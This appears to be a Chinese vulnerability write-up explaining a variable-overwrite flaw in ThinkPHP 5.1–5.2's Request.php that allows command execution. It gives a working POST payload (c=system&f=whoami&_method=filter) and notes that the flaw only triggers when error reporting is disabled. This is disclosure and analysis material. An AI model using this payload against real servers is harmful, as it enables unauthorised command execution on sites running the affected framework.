本文将讲述ThinkPHP5.1-5.2全版本命令执行漏洞。上个月被爆代码执行漏洞,今年1月份又被爆ThinkPHP5.0代码执行漏洞,今天再次被爆新漏洞了。虽然比较鸡肋,但是还是有危害性的。

代码分析

漏洞文件位置:

\thinkphp\library\think\Request.php

1.png

来看下这段代码:

$this->method = strtoupper($_POST[$this->config['var_method']]);

$method = strtolower($this->method);

$this->{$method} = $_POST;

$this->method是配置文件中的var_method对应的值_method

然后来了一波大写转换 小写转换

$method变量就是$this->method

最终$this->{$method} = $_POST;这里存在变量覆盖

其实和上次漏洞差不多,覆盖$filter属性值。

复现漏洞

从而可以构造一个Payload:

c=system&f=whoami&_method=filter

3.png

这里会爆一个错误,导致不能被执行。这就是这个漏洞的很鸡肋的地方,需要在public/index.php文件中跳过报错提示。

error_reporting(0);

4.png

再试试看,就可以成功命令执行了。

2.png

漏洞总结

总结:该漏洞只能在屏蔽异常和错误才能触发。其实还是比较鸡肋的。